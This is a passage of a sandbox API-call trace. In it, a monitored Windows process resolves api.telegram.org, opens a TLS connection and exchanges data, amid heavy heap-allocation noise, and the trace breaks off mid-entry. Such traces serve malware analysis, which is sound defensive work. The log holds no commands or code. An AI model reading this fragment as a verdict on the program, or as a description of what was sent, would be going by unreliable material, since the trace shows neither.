GetCurrentThreadId () returned 0x9b0 [0081.775] GetCurrentThreadId () returned 0x9b0 [0081.775] GetCurrentThreadId () returned 0x9b0 [0081.775] GetCurrentThreadId () returned 0x9b0 [0081.775] GetCurrentThreadId () returned 0x9b0 [0081.776] GetCurrentThreadId () returned 0x9b0 [0081.776] GetCurrentThreadId () returned 0x9b0 [0081.776] GetCurrentThreadId () returned 0x9b0 [0081.776] GetCurrentThreadId () returned 0x9b0 [0081.776] GetCurrentThreadId () returned 0x9b0 [0081.776] GetCurrentThreadId () returned 0x9b0 [0081.776] GetCurrentThreadId () returned 0x9b0 [0081.776] GetCurrentThreadId () returned 0x9b0 [0081.776] GetCurrentThreadId () returned 0x9b0 [0081.776] GetCurrentThreadId () returned 0x9b0 [0081.776] GetCurrentThreadId () returned 0x9b0 [0081.776] GetCurrentThreadId () returned 0x9b0 [0081.776] GetCurrentThreadId () returned 0x9b0 [0081.776] GetCurrentThreadId () returned 0x9b0 [0081.777] GetCurrentThreadId () returned 0x9b0 [0081.806] CreateFileW (lpFileName="/usr/local/ssl/cert.pem" (normalized: "c:\\usr\\local\\ssl\\cert.pem"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba7ac, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.806] GetLastError () returned 0x3 [0081.806] GetLastError () returned 0x3 [0081.806] CreateFileA (lpFileName="/usr/local/ssl/cert.pem" (normalized: "c:\\usr\\local\\ssl\\cert.pem"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba7b0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0081.806] GetLastError () returned 0x3 [0081.806] GetLastError () returned 0x3 [0081.807] GetLastError () returned 0x3 [0081.807] GetLastError () returned 0x3 [0081.807] GetLastError () returned 0x3 [0081.807] GetCurrentThreadId () returned 0x9b0 [0081.807] GetLastError () returned 0x3 [0081.807] GetLastError () returned 0x3 [0081.807] GetLastError () returned 0x3 [0081.807] GetLastError () returned 0x3 [0081.807] GetLastError () returned 0x3 [0081.807] GetLastError () returned 0x3 [0081.807] GetLastError () returned 0x3 [0081.807] GetLastError () returned 0x3 [0081.807] GetLastError () returned 0x3 [0081.807] GetLastError () returned 0x3 [0081.807] GetLastError () returned 0x3 [0081.808] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3843e70 | out: hHeap=0x2ad0000) returned 1 [0081.808] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e4508 [0081.808] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4508 | out: hHeap=0x2ad0000) returned 1 [0081.808] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38813d8 [0081.808] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38813d8, Size=0x20) returned 0x387a2f0 [0081.808] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x387a2f0 | out: hHeap=0x2ad0000) returned 1 [0081.808] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38815a0 [0081.808] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0081.808] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0081.808] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38815d0 [0081.808] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38815d0 | out: hHeap=0x2ad0000) returned 1 [0081.808] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d9e0 | out: hHeap=0x2ad0000) returned 1 [0081.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38815d0 [0081.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38815d0 | out: hHeap=0x2ad0000) returned 1 [0081.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0081.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0081.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38813f0 [0081.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38813f0 | out: hHeap=0x2ad0000) returned 1 [0081.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0081.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0081.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38815d0 [0081.809] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38815a0, Size=0x20) returned 0x387a2f0 [0081.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38815d0 | out: hHeap=0x2ad0000) returned 1 [0081.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0081.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38815a0 [0081.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38815a0 | out: hHeap=0x2ad0000) returned 1 [0081.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0081.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0081.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38813d8 [0081.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38813d8 | out: hHeap=0x2ad0000) returned 1 [0081.810] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x387a2f0, Size=0x40) returned 0x3887968 [0081.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887968 | out: hHeap=0x2ad0000) returned 1 [0081.810] GetLastError () returned 0x3 [0081.810] getaddrinfo (in: pNodeName="api.telegram.org", pServiceName="443", pHints=0x9ba4c4*(ai_flags=0, ai_family=0, ai_socktype=1, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x9ba4a8 | out: ppResult=0x9ba4a8*=0x3e35df8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x106a350*(sa_family=2, sin_port=0x1bb, sin_addr="149.154.167.220"), ai_next=0x0)) returned 0 [0081.813] WSASetLastError (iError=0) [0081.813] GetLastError () returned 0x0 [0081.813] GetLastError () returned 0x0 [0081.813] getnameinfo (in: pSockaddr=0x106a350*(sa_family=2, sin_port=0x1bb, sin_addr="149.154.167.220"), SockaddrLength=0x10, pNodeBuffer=0x9ba064, NodeBufferSize=0x401, pServiceBuffer=0x0, ServiceBufferSize=0x0, Flags=2 | out: pNodeBuffer="149.154.167.220", pServiceBuffer=0x0) returned 0 [0081.813] WSASetLastError (iError=0) [0081.813] htons (hostshort=0xbb01) returned 0x1bb [0081.813] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38815a0 [0081.813] FreeAddrInfoW (pAddrInfo=0x3e35df8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x106a350*(sa_family=2, sin_port=0x1bb, sin_addr="149.154.167.220"), ai_next=0x0)) [0081.813] socket (af=2, type=1, protocol=0) returned 0x3a0 [0081.813] GetLastError () returned 0x0 [0081.813] GetCurrentThreadId () returned 0x9b0 [0081.813] GetLastError () returned 0x0 [0081.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38815d0 | out: hHeap=0x2ad0000) returned 1 [0081.814] GetLastError () returned 0x0 [0081.814] GetLastError () returned 0x0 [0081.814] GetLastError () returned 0x0 [0081.814] GetLastError () returned 0x0 [0081.814] htonl (hostlong=0x959aa7dc) returned 0xdca79a95 [0081.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38813d8 | out: hHeap=0x2ad0000) returned 1 [0081.814] htons (hostshort=0x1bb) returned 0xbb01 [0081.814] connect (s=0x3a0, name=0x9ba2c0*(sa_family=2, sin_port=0x1bb, sin_addr="149.154.167.220"), namelen=16) returned 0 [0081.848] GetLastError () returned 0x0 [0081.848] GetCurrentThreadId () returned 0x9b0 [0081.848] GetLastError () returned 0x0 [0081.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38815a0 | out: hHeap=0x2ad0000) returned 1 [0081.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5c90 [0081.849] getsockopt (in: s=0x3a0, level=65535, optname=4104, optval=0x9ba2e4, optlen=0x9ba2d8 | out: optval="\x01", optlen=0x9ba2d8) returned 0 [0081.849] GetCurrentThreadId () returned 0x9b0 [0081.849] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0081.849] getpeername (in: s=0x3a0, name=0x9ba268, namelen=0x9ba264 | out: name=0x9ba268*(sa_family=2, sin_port=0x1bb, sin_addr="149.154.167.220"), namelen=0x9ba264) returned 0 [0081.849] GetLastError () returned 0x0 [0081.849] GetCurrentThreadId () returned 0x9b0 [0081.849] GetLastError () returned 0x0 [0081.849] getnameinfo (in: pSockaddr=0x9ba268*(sa_family=2, sin_port=0x1bb, sin_addr="149.154.167.220"), SockaddrLength=0x10, pNodeBuffer=0x9b9e2c, NodeBufferSize=0x401, pServiceBuffer=0x0, ServiceBufferSize=0x0, Flags=2 | out: pNodeBuffer="149.154.167.220", pServiceBuffer=0x0) returned 0 [0081.849] WSASetLastError (iError=0) [0081.849] htons (hostshort=0xbb01) returned 0x1bb [0081.849] GetLastError () returned 0x0 [0081.849] GetLastError () returned 0x0 [0081.849] GetLastError () returned 0x0 [0081.850] GetLastError () returned 0x0 [0081.850] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38815a0 | out: hHeap=0x2ad0000) returned 1 [0081.850] GetCurrentThreadId () returned 0x9b0 [0081.850] GetCurrentThreadId () returned 0x9b0 [0081.850] GetCurrentThreadId () returned 0x9b0 [0081.850] GetCurrentThreadId () returned 0x9b0 [0081.850] GetCurrentThreadId () returned 0x9b0 [0081.850] GetCurrentThreadId () returned 0x9b0 [0081.850] GetCurrentThreadId () returned 0x9b0 [0081.850] GetCurrentThreadId () returned 0x9b0 [0081.850] GetCurrentThreadId () returned 0x9b0 [0081.850] GetCurrentThreadId () returned 0x9b0 [0081.851] GetCurrentThreadId () returned 0x9b0 [0081.851] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x38813d8 [0081.851] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e4488 [0081.851] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38813f0 [0081.851] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x38815a0 [0081.851] GetCurrentThreadId () returned 0x9b0 [0081.851] GetLastError () returned 0x0 [0081.852] GetCurrentThreadId () returned 0x9b0 [0081.852] GetLastError () returned 0x0 [0081.852] GetCurrentThreadId () returned 0x9b0 [0081.852] GetCurrentThreadId () returned 0x9b0 [0081.852] GetLastError () returned 0x0 [0081.852] GetCurrentThreadId () returned 0x9b0 [0081.852] GetLastError () returned 0x0 [0081.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e45c8 | out: hHeap=0x2ad0000) returned 1 [0081.852] GetCurrentThreadId () returned 0x9b0 [0081.852] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x9ba32c | out: lpSystemTimeAsFileTime=0x9ba32c*(dwLowDateTime=0xf99e231e, dwHighDateTime=0x1d5215d)) [0081.852] GetCurrentThreadId () returned 0x9b0 [0081.853] GetCurrentThreadId () returned 0x9b0 [0081.853] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3874bd8 | out: hHeap=0x2ad0000) returned 1 [0081.853] GetCurrentThreadId () returned 0x9b0 [0081.853] GetCurrentThreadId () returned 0x9b0 [0081.853] GetCurrentThreadId () returned 0x9b0 [0081.853] GetCurrentThreadId () returned 0x9b0 [0081.853] GetCurrentThreadId () returned 0x9b0 [0081.853] GetCurrentThreadId () returned 0x9b0 [0081.853] GetCurrentThreadId () returned 0x9b0 [0081.853] GetCurrentThreadId () returned 0x9b0 [0081.854] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x9ba2cc | out: lpSystemTimeAsFileTime=0x9ba2cc*(dwLowDateTime=0xf99e231e, dwHighDateTime=0x1d5215d)) [0081.854] GetCurrentThreadId () returned 0x9b0 [0081.854] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x38817e0 [0081.854] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e4688 [0081.854] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881840 [0081.854] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881678 [0081.854] GetCurrentThreadId () returned 0x9b0 [0081.854] GetCurrentThreadId () returned 0x9b0 [0081.854] GetCurrentThreadId () returned 0x9b0 [0081.854] GetCurrentThreadId () returned 0x9b0 [0081.854] GetCurrentThreadId () returned 0x9b0 [0081.854] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3874bd8 | out: hHeap=0x2ad0000) returned 1 [0081.855] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2ac) returned 0x3890880 [0081.855] WSASetLastError (iError=0) [0081.855] send (s=0x3a0, buf=0x371b068*, len=517, flags=0) returned 517 [0081.855] WSASetLastError (iError=0) [0081.855] recv (in: s=0x3a0, buf=0x37205c8, len=7, flags=0 | out: buf=0x37205c8*) returned 7 [0081.886] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40) returned 0x3887890 [0081.886] GetCurrentThreadId () returned 0x9b0 [0081.886] GetCurrentThreadId () returned 0x9b0 [0081.887] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x9ba2ac | out: lpSystemTimeAsFileTime=0x9ba2ac*(dwLowDateTime=0xf9a2e57b, dwHighDateTime=0x1d5215d)) [0081.887] GetCurrentThreadId () returned 0x9b0 [0081.887] GetCurrentThreadId () returned 0x9b0 [0081.887] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3874bd8 | out: hHeap=0x2ad0000) returned 1 [0081.887] GetCurrentThreadId () returned 0x9b0 [0081.887] GetCurrentThreadId () returned 0x9b0 [0081.887] GetCurrentThreadId () returned 0x9b0 [0081.887] GetCurrentThreadId () returned 0x9b0 [0081.888] WSASetLastError (iError=0) [0081.888] recv (in: s=0x3a0, buf=0x37205d2, len=64, flags=0 | out: buf=0x37205d2*) returned 64 [0081.889] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x38762b8 [0081.889] SetLastError (dwErrCode=0x0) [0081.889] WSASetLastError (iError=0) [0081.889] recv (in: s=0x3a0, buf=0x37205cb, len=5, flags=0 | out: buf=0x37205cb*) returned 5 [0081.889] SetLastError (dwErrCode=0x0) [0081.889] WSASetLastError (iError=0) [0081.889] recv (in: s=0x3a0, buf=0x37205d0, len=5165, flags=0 | out: buf=0x37205d0*) returned 5165 [0081.889] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1dec) returned 0x372c7d0 [0081.889] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3890880 | out: hHeap=0x2ad0000) returned 1 [0081.889] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e4508 [0081.889] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881828 [0081.889] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x38743f8 [0081.889] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x34) returned 0x38647b8 [0081.889] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38817b0 [0081.889] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x38765a8 [0081.889] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e45e8 [0081.890] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e4668 [0081.890] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38818d0 [0081.890] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881780 [0081.890] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3876438 [0081.890] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38816f0 [0081.890] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881750 [0081.890] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e45c8 [0081.890] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e4408 [0081.890] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881768 [0081.890] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x38816c0 [0081.890] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881630 [0081.890] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3876528 [0081.890] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38818b8 [0081.890] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3876478 [0081.890] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881690 [0081.890] GetCurrentThreadId () returned 0x9b0 [0081.891] GetCurrentThreadId () returned 0x9b0 [0081.891] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881780 | out: hHeap=0x2ad0000) returned 1 [0081.891] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38818d0 | out: hHeap=0x2ad0000) returned 1 [0081.891] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4668 | out: hHeap=0x2ad0000) returned 1 [0081.891] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e45e8 | out: hHeap=0x2ad0000) returned 1 [0081.891] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e45e8 [0081.891] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e4668 [0081.891] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38818d0 [0081.891] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881780 [0081.891] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xf8) returned 0x3305ee0 [0081.891] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38818d0, Size=0x20) returned 0x387a318 [0081.891] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e4a28 [0081.891] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38818d0 [0081.891] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e49a8 [0081.891] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881ba0 [0081.891] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38819d8 [0081.892] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881bd0 [0081.892] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x33e4708 [0081.892] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x3876498 [0081.892] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x3876418 [0081.892] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e4808 [0081.892] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38819a8 [0081.892] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38819c0 [0081.892] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38819f0 [0081.893] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x33e49c8 [0081.893] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x3876548 [0081.893] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x38764c8 [0081.893] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e47c8 [0081.893] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881b88 [0081.893] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881930 [0081.893] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881ab0 [0081.893] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x33e4788 [0081.893] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x38764b8 [0081.893] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xb) returned 0x3881b40 [0081.893] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e48c8 [0081.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881b70 [0081.894] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38818d0, Size=0x20) returned 0x387a340 [0081.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38818d0 [0081.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881b10 [0081.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x33e4988 [0081.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x38765c8 [0081.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x12) returned 0x33e4848 [0081.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e4968 [0081.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881918 [0081.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881948 [0081.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881a08 [0081.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x33e4748 [0081.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x3876558 [0081.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x381ef00 [0081.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x33e4828 [0081.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881b28 [0081.895] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881a20 [0081.895] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881960 [0081.895] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x33e4a68 [0081.895] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x3876588 [0081.895] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2b) returned 0x3869260 [0081.895] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xb4) returned 0x37cc140 [0081.895] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3876418 | out: hHeap=0x2ad0000) returned 1 [0081.895] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881bd0 | out: hHeap=0x2ad0000) returned 1 [0081.895] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3876498 | out: hHeap=0x2ad0000) returned 1 [0081.895] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4708 | out: hHeap=0x2ad0000) returned 1 [0081.895] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38819d8 | out: hHeap=0x2ad0000) returned 1 [0081.895] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881ba0 | out: hHeap=0x2ad0000) returned 1 [0081.895] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e49a8 | out: hHeap=0x2ad0000) returned 1 [0081.895] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38764c8 | out: hHeap=0x2ad0000) returned 1 [0081.895] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38819f0 | out: hHeap=0x2ad0000) returned 1 [0081.895] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3876548 | out: hHeap=0x2ad0000) returned 1 [0081.896] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e49c8 | out: hHeap=0x2ad0000) returned 1 [0081.896] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38819c0 | out: hHeap=0x2ad0000) returned 1 [0081.896] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38819a8 | out: hHeap=0x2ad0000) returned 1 [0081.896] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4808 | out: hHeap=0x2ad0000) returned 1 [0081.896] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881b40 | out: hHeap=0x2ad0000) returned 1 [0081.896] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881ab0 | out: hHeap=0x2ad0000) returned 1 [0081.896] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38764b8 | out: hHeap=0x2ad0000) returned 1 [0081.896] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4788 | out: hHeap=0x2ad0000) returned 1 [0081.896] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881930 | out: hHeap=0x2ad0000) returned 1 [0081.896] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881b88 | out: hHeap=0x2ad0000) returned 1 [0081.896] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e47c8 | out: hHeap=0x2ad0000) returned 1 [0081.896] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4848 | out: hHeap=0x2ad0000) returned 1 [0081.896] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881b10 | out: hHeap=0x2ad0000) returned 1 [0081.896] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38765c8 | out: hHeap=0x2ad0000) returned 1 [0081.896] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e4988 | out: hHeap=0x2ad0000) returned 1 [0081.896] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38818d0 | out: hHeap=0x2ad0000) returned 1 [0081.896] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881b70 | out: hHeap=0x2ad0000) returned 1 [0081.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e48c8 | out: hHeap=0x2ad0000) returned 1 [0081.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x381ef00 | out: hHeap=0x2ad0000) returned 1 [0081.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881a08 | out: hHeap=0x2ad0000) returned 1 [0081.897] HeapFree 